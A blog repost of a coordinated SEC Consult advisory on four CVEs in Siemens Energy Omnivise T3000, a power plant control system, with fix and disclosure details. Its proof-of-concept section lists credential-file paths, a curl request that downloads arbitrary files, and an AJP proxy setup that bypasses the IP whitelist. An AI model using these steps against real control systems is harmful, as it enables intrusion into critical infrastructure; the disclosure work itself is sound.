{"id":60283,"date":"2024-11-13T20:07:16","date_gmt":"2024-11-13T17:07:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182655\/SA-20241112-0.txt"},"modified":"2024-11-13T20:07:16","modified_gmt":"2024-11-13T17:07:16","slug":"siemens-energy-omnivise-t3000-8-2-sp3-privilege-escalation-file-download","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/siemens-energy-omnivise-t3000-8-2-sp3-privilege-escalation-file-download\/","title":{"rendered":"Siemens Energy Omnivise T3000 8.2 SP3 Privilege Escalation \/ File Download"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241112-0 &gt;<br \/>=======================================================================<br \/>title: Multiple vulnerabilities<br \/>product: Siemens Energy Omnivise T3000<br \/>vulnerable version: &gt;=8.2 SP3<br \/>fixed version: see solution section<br \/>CVE number: CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879<br \/>impact: High<br \/>homepage: https:\/\/www.siemens-energy.com\/global\/en\/home\/products-services\/product\/omnivise-t3000.html<br \/>found: 2024-06-02<br \/>by: Steffen Robertz (Office Vienna)<br \/>Andreas Kolbeck (Office Munich)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;Located in 90 countries, Siemens Energy operates across the whole energy landscape.<br \/>From conventional to renewable power, from grid technology to storage to electrifying<br \/>complex industrial processes.<\/p>\n<p>Our mission is to support companies and countries with what they need to reduce<br \/>greenhouse gas emissions and make energy reliable, affordable, and more sustainable.<br \/>Let\u2019s energize society.&#8221;<\/p>\n<p>Source: https:\/\/www.siemens-energy.com\/global\/en\/home\/company\/about.html<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>Siemens has released their security advisory SSA-857368, see the following URL<br \/>for further details:<br \/>https:\/\/cert-portal.siemens.com\/productcert\/html\/ssa-857368.html#mitigations-section<\/p>\n<p>Follow the mitigation instructions communicated in Omnivise T3000 Technical News 2024-089<br \/>and SE Controls Security Announcement 2024-01.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Local Privilege Escalation via Writable Service Binary (CVE-2024-38876)<br \/>Insecurely configured services or the insecure configuration of their authorizations<br \/>lead to privilege escalation vulnerabilities in the Windows operating system. It is<br \/>possible for a low-privileged user to modify a service in such a way that it executes<br \/>arbitrary code instead of starting the actual service. The service path is writable by<br \/>the &#8220;Authenticated Users&#8221; group.<br \/>Precondition for exploitation: requires authenticated local access to the Terminal Server<br \/>of the T3000 system.<\/p>\n<p>2) Cleartext Storage of Passwords in Config and Log Files (CVE-2024-38877)<br \/>Multiple files containing cleartext passwords were discovered. These can be used<br \/>to jump from host to host and thus compromise the whole security architecture of<br \/>the T3000 system.<br \/>Precondition for exploitation: requires administrative local access to any server of the<br \/>T3000 system.<\/p>\n<p>3) File System Access via RemoteDiagnosticView Website (CVE-2024-38878)<br \/>The RemoteDiagnosticView application is a web application hosted on the application<br \/>server. One parameter accepts a full path, which can be abused to download arbitrary<br \/>files.<br \/>Precondition for exploitation: requires administrative remote access to the Application<br \/>server of the T3000 system.<\/p>\n<p>4) IP Whitelist Bypass (CVE-2024-38879)<br \/>The application server is hosting the T3000 web application on port 8080. However,<br \/>only the Terminal Server is whitelisted. This whitelisting can be circumvented by<br \/>exploiting the additionally exposed Tomcat AJP service on port 8009.<br \/>Precondition for exploitation: requires unauthenticated remote access to the Application<br \/>server of the T3000 system<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Local Privilege Escalation via Writable Service Binary (CVE-2024-38876)<br \/>The following path hosts a file that is used by the &#8220;DSGW Service&#8221; of the T3000 system:<\/p>\n<p>&#8220;E:\\dsgw\\gw\\bin\\dsgwservice.exe&#8221;<\/p>\n<p>The path is writable by the &#8220;Authenticated Users&#8221; group.<\/p>\n<p>2) Cleartext Storage of Passwords in Config and Log Files (CVE-2024-38877)<br \/>Multiple files containing cleartext passwords were discovered.<\/p>\n<p>Terminal Server:<br \/>* C:\\Program Files\\SPPA-T3000\\snmpv3trap\\Config.properties (only readable by Admin)<br \/>* E:\\DSGW\\GW\\config_PDC.properties (Passwords are Base64 encoded)<br \/>* C:\\Program Files\\SPPA-T3000\\Logs\\AppInstallLogs\\PostInstallConfigList.xml (Readable by every user)<\/p>\n<p>Application Server:<br \/>* D:\\SPPA-T3000\\_framework\\_jre\\installvariables.properties (contains passwords of tomcat and MySQL service<br \/>* D:\\SPPA-T3000\\Orion\\install\\_uninstall\\installvariables.properties (contains password for MySQL service and installation)<\/p>\n<p>All Servers:<br \/>All servers are being deployed via Puppet. However, the cache file is never<br \/>cleared and contains the initial passwords of all systems of the T3000 system:<\/p>\n<p>&#8220;C:\\Program Data\\PuppetLabs\\puppet\\cache\\client_data\\catalog\\&lt;uid.json&gt;&#8221;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>[&#8230;]&#8220;parameters&#8221;: {<br \/>&#8220;foreman_pass&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;foreman_url&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;foreman_user&#8221;: &#8220;puppet_provider&#8221;,<br \/>&#8220;is_sec&#8221;: &#8220;true&#8221;,<br \/>&#8220;mpssvc_pass&#8221;: &#8220;[redacted]&#8221;<br \/>}<br \/>[&#8230;]&#8220;parameters&#8221;: {<br \/>&#8220;crsphost&#8221;: &#8220;XXX.XXX.XXX.XXX&#8221;,<br \/>&#8220;crsppswd&#8221;: &#8220;&#8221;,<br \/>&#8220;crsprepo&#8221;: &#8220;AVPatterns&#8221;,<br \/>&#8220;crspservice&#8221;: &#8220;SFTP&#8221;,<br \/>&#8220;crspuser&#8221;: &#8220;siem_t3000_west&#8221;,<br \/>&#8220;primary_ts&#8221;: true<br \/>}<br \/>[&#8230;]&#8220;parameters&#8221;: {<br \/>[&#8230;]&#8220;snmpv3_authpass&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;snmpv3_privpass&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;snmpv3_user&#8221;: &#8220;snmpuser&#8221;,<br \/>&#8220;snmpv3_hash&#8221;: &#8220;SHA&#8221;,<br \/>&#8220;snmpv3_encrypt&#8221;: &#8220;AES&#8221;<br \/>}<br \/>[&#8230;]&#8220;parameters&#8221;: {<br \/>[&#8230;]&#8220;cyg_server_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;fst_appsrv_passwd&#8221;: &#8220;&#8221;,<br \/>&#8220;fst_appsrv_red_hgw_ip&#8221;: &#8220;XXX.XXX.XXX.XXX&#8221;,<br \/>[&#8230;]&#8220;icmauser_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;opcadmin_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator01_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator02_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator03_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator04_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator05_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator06_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator07_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator08_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator09_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operator10_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;operators_password&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm01_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm02_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm03_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm04_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm05_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm06_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm07_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm08_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm09_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pdm10_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pmas_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pmsvc_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;pmts_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;reparchive_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;t3kservice_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;[&#8230;]&#8220;tomcatadmin_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser01_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser02_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser03_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser04_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser05_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser06_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser07_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser08_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser09_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;tsuser10_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;txpdomain_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;vm_r8_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;vm_tc_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;vm_ts_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;vm_whitelist_hostname&#8221;: &#8220;&#8221;,<br \/>&#8220;vm_whitelist_passwd&#8221;: &#8220;&#8221;,<br \/>&#8220;wbuser01_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser02_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser03_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser04_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser05_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser06_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser07_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser08_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser09_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wbuser10_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>&#8220;wra01_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;dsrm_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;dc_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>[&#8230;]&#8220;patchsvc_passwd&#8221;: &#8220;[redacted]&#8221;,<br \/>}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>To understand the impact of this file, we have to explain a little about the T3000 system.<br \/>The system is split into three levels: Operator, Automation and Process.<\/p>\n<p>Operator Level: This is the level, where thin clients are situated. In our testcase,<br \/>this level consisted of the Terminal Server that engineers could connect to. From here,<br \/>they start the T3000 application, which simply loads a browser and displays a Java<br \/>application served from the Application Server.<\/p>\n<p>Automation Level: This level consists of application and automation servers. The application<br \/>server hosts the not time critical components of power generations such as the web server.<br \/>The automation servers are taking care of time critical operations. In our testcase these<br \/>were PLCs from the SIMATIC S7-CPU family.<\/p>\n<p>Process Level: This level consists of the I\/O modules that are controlled by the automation<br \/>servers.<\/p>\n<p>The Terminal Server, located on the operator level already contained the Puppet cache file,<br \/>which contained all the local Windows users used in the T3000 system in clear text. As the<br \/>Terminal Server communicates with the Application Server, they have to be connected via network.<br \/>Thus, the attacker can use the credentials on the Terminal Server to jump to the Application<br \/>Server. This server is in the same segment as the physical PLC CPUs. Thus an attacker can now<br \/>also control the PLCs and thus the whole power plant.<\/p>\n<p>In order to read the Puppet cache file, an attacker has to gain local admin rights first.<br \/>For this, vulnerability 1 can be used.<\/p>\n<p>3) File System Access via RemoteDiagnosticView Website (CVE-2024-38878)<br \/>The RemoteDiagnosticView website is hosted at the following URL:<\/p>\n<p>http:\/\/ &lt;IP Application Server&gt;:8080\/RemoteDiagnosticView<\/p>\n<p>In our testcase it was configured using default credentials with the following username and<br \/>an easy to guess password:<\/p>\n<p>txpadmin:[redacted]\n<p>Using these credentials an attacker gains an authenticated session. From there, one can<br \/>simply download arbitrary files:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>Curl -H &#8220;Cookie: JSESSIONID=31B4F2F1BAFC473AB41B65DDF2FD10BA;&#8221; -I -H &#8220;Content-Type:<br \/>application\/x-www-form-urlencoded&#8221; -X POST -d &#8220;filename=D:\\sectest.txt&amp;type=TEXT&#8221;<br \/>http:\/\/$host:8080\/RemoteDiagnosticView\/DataServlet<\/p>\n<p>HTTP\/1.1 200<br \/>Content-Type: text\/plain<br \/>Transfer-Encoding: chunked<br \/>[&#8230;]\n<p>Sectest<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>4) IP Whitelist Bypass (CVE-2024-38879)<br \/>The AJP protocol can be used to proxy requests from an Apache server to an application<br \/>running on Tomcat. By setting up a local Apache server and configuring it to use the<br \/>AJP service of the Application Server, the IP filter is circumvented.<br \/>The following setup was built:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>sudo apt-get install libapache2-mod-jk<br \/>sudo vim \/etc\/apache2\/apache2.conf<br \/># append the following line to the config<br \/>Include ajp.conf<br \/>sudo vim \/etc\/apache2\/ajp.conf<br \/># create the following file<br \/>ProxyRequests Off<br \/>&lt;Proxy *&gt;<br \/>Order deny,allow<br \/>Deny from all<br \/>Allow from localhost<br \/>&lt;\/Proxy&gt;<br \/>ProxyPass \/ ajp:\/\/&lt;Application Server IP&gt;:8009\/<br \/>ProxyPassReverse \/ ajp:\/\/&lt;Application Server IP&gt;:8009\/<br \/>sudo a2enmod proxy_http<br \/>sudo a2enmod proxy_ajp<br \/>sudo systemctl restart apache2<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>Afterwards, the e.g. RemoteDiagnosticView can be loaded from http:\/\/127.0.0.1\/RemoteDiagnosticView<\/p>\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following version has been tested which was the latest version available<br \/>at the time of the test:<br \/>* 8.2<\/p>\n<p>According to the vendor (T3000 SE Controls Security Announcement 2024\/01 Update 1),<br \/>the following versions and components are affected:<\/p>\n<p>All T3000 Versions &gt;= Release 8.2 SP3:<br \/>* Security Server<br \/>* Thin Clients<br \/>* Terminal Server<br \/>* Application Server<br \/>* Domain Controller<br \/>* PDM VM<br \/>* Whitelisting VM<br \/>* NIDS<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2024-06-05: Contacting vendor through productcert@siemens.com<br \/>2024-06-06: Siemens assigned S-PCERT#40850<br \/>2024-06-12: Reaching out to specific contacts at Siemens Energy Cybersecurity.<br \/>2024-06-13: They confirm that ProductCERT will get back to us once they have a timeline.<br \/>2024-06-19: Customer informs us about a Siemens Energy Document that recommends to<br \/>change passwords after installation. The document is called &#8220;SE Controls<br \/>Security Announcement 2024\/01&#8243; but only available to T3000 customers.<br \/>2024-06-20: Sending feedback about the document to Siemens Energy Cybersecurity<br \/>as in our opinion it does not solve the issues.<br \/>2024-06-20: They confirm again that ProductCERT is taking care of issues. Asks<br \/>to confirm that we received their messages, which we didn&#8217;t -&gt; Realized<br \/>that one of our email addresses was dropped during the communication,<br \/>recovered emails from second account.<br \/>2024-06-17\/2024-06-24: ProductCERT informs:<br \/>Vulnerability 1 cannot be reproduced in the reference installation.<br \/>The product team is working to find potentially affected installation<br \/>scenarios.<br \/>Vulnerability 2 was reproduced and the product team is working on a mitigation.<br \/>Also, a related customer information has been distributed to customers.<br \/>Vulnerability 3 will be fixed in the next release of the T3000 distribution<br \/>Vulnerability 4 is already fixed in the current version. The product team is<br \/>investigating, if this vulnerability is present in still supported versions.<br \/>2024-06-21: ProductCERT informs us that they are able to reproduce all of the vulnerabilities<br \/>and provide fixes for most of them. Advisory draft should be shared with<br \/>SEC Consult next week. Ask to keep communication directed at ProductCERT<br \/>instead of Cybersecurity team.<br \/>2024-06-28: ProductCERT sends over advisory draft. Could reproduce all vulnerabilities<br \/>and requested CVEs.<br \/>2024-07-03: Siemens ProductCERT requests if we received the draft, as SEC Consult didn&#8217;t answer yet.<br \/>2024-07-03: SEC Consult confirms the reception of the advisory draft.<br \/>2024-07-04: Submitted feedback for advisory draft to ProductCERT. From SEC Consult&#8217;s<br \/>understanding, changing passwords after initial installation only fixes the<br \/>cleartext passwords in log files. The puppet issue would not be fixed.<br \/>Thus SEC Consult proposed to split Vulnerability 2 into two separate findings.<br \/>2024-07-05: ProductCERT forwarded feedback to product team.<br \/>2024-08-02: ProductCERT publishes SSA-857368.<br \/>2024-08-05: Informing ProductCERT of vacation\/absences, will coordinate further afterwards.<br \/>2024-10-03: Proposing a meeting with ProductCERT to clarify and discuss all open issues.<br \/>2024-10-22: Meeting with ProductCERT.<br \/>2024-10-24: ProductCERT sends us further documents for T3000 regarding fixes\/mitigations.<br \/>2024-10-31: Sending advisory draft to ProductCERT, proposing advisory release date for 7th<br \/>November.<br \/>2024-11-06: Receiving feedback from ProductCERT, postponing release to 12th November.<br \/>2024-11-12: Coordinated release of advisory.<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>Change the passwords to all components. Detailed instructions and patch information<br \/>can be found when following Omnivise T3000 Technical News 2024-089 and SE Controls<br \/>Security Announcement 2024-01.<\/p>\n<p>Release 9.2 Fix \/ Mitigations:<br \/>Issue 1 (CVE-2024-38876)<br \/>* System Software Patch 22.173.20<br \/>* System Software Patch 22.173.52<br \/>* Application Software Patch 09.0.19.06<\/p>\n<p>Issue 2 (CVE-2024-38877)<br \/>* System Software Patches 22.173.52<br \/>* Application Software Patch 09.0.19.06<br \/>* Technical News 2024-089<\/p>\n<p>Issue 3 (CVE-2024-38878)<br \/>* Application Software Patch 09.0.19.06<\/p>\n<p>Issue 4 (CVE-2024-38879)<br \/>* Application Software Patch 09.0.19.06<\/p>\n<p>Release 8.2 SP4 Fix \/ Mitigations:<br \/>Patches are currently under development.<\/p>\n<p>Release 8.2 SP3 Fix \/ Mitigations:<br \/>Currently no fixes are planned, but see Technical News 2024-089 for issue 2 (CVE-2024-38877)<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>Limit access to the terminal servers.<\/p>\n<p>CVE-2024-38877: If the passwords are suspected to be compromised, change the passwords<br \/>for all computers and service accounts. In addition follow the instructions from<br \/>Omnivise T3000 Technical News 2024-089, which is available through T3000 customer<br \/>service and applies to releases 8.2 SP3\/SP4 and 9.2.<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Steffen Robertz, Andreas Kolbeck\/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241112-0 &gt;=======================================================================title: Multiple vulnerabilitiesproduct: Siemens Energy Omnivise T3000vulnerable version: &gt;=8.2 SP3fixed version: see solution sectionCVE number: CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879impact: Highhomepage: https:\/\/www.siemens-energy.com\/global\/en\/home\/products-services\/product\/omnivise-t3000.htmlfound: 2024-06-02by: Steffen Robertz (Office Vienna)Andreas Kolbeck (Office Munich)SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia https:\/\/www.sec-consult.com ======================================================================= Vendor description:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;Located &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60283","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60283","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60283"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60283\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}